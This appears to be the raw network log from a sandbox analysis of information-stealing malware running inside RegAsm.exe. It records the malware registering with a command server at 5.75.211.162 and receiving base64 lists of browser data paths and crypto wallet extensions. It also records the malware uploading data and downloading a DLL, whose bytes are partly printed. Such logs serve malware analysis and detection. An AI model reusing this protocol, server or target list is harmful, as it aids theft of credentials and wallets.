2024-09-25 18:49:19 UTC	16384	IN	Data Raw: 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e Data Ascii: enDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="n
2024-09-25 18:49:19 UTC	3768	IN	Data Raw: 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f Data Ascii: vate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></
2024-09-25 18:49:19 UTC	59	IN	Data Raw: 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: </div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:21 UTC	185	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:21 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49712	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:22 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:22 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 39 30 39 39 43 34 46 32 31 42 31 34 31 30 32 37 37 36 31 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 2d 2d 0d Data Ascii: ------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="hwid"2F9099C4F21B1410277619-a33c7340-61ca------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------GIJEGDAKEHJECAKEGDHJ--
2024-09-25 18:49:23 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:23 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|d442f14c3bcec41cd36d7e4df48c5d17\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49713	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:23 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:23 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------HDGCFHIDAKECFHIEBFCGCont
2024-09-25 18:49:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:24 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:25 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCGHJDBFIIDGDHIJDBG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:25 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 Data Ascii: ------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------FHCGHJDBFIIDGDHIJDBGCont
2024-09-25 18:49:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:26 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:26 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIID User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:26 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------BKJKEBGDHDAFHJKEGIIDCont
2024-09-25 18:49:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:27 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49719	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:28 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBGHIIDAECBFIDHIIDG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 5869 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:28 UTC	5869	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 34 32 66 31 34 63 33 62 63 65 63 34 31 63 64 33 36 64 37 65 34 64 66 34 38 63 35 64 31 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 62 66 35 65 34 33 31 38 36 39 36 34 33 61 32 61 63 33 39 37 64 32 64 63 30 64 36 38 37 66 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 Data Ascii: ------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="token"d442f14c3bcec41cd36d7e4df48c5d17------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="build_id"9bf5e431869643a2ac397d2dc0d687fb------JDBGHIIDAECBFIDHIIDGCont
2024-09-25 18:49:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 18:49:29 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49720	5.75.211.162	443	2964	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 18:49:29 UTC	193	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 18:49:29 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 18:49:29 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 25-Sep-2024 18:49:29 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 18:49:29 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-25 18:49:29 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-09-25 18:49:30 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-09-25 18:49:30 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-25 18:49:30 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-25 18:49:30 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
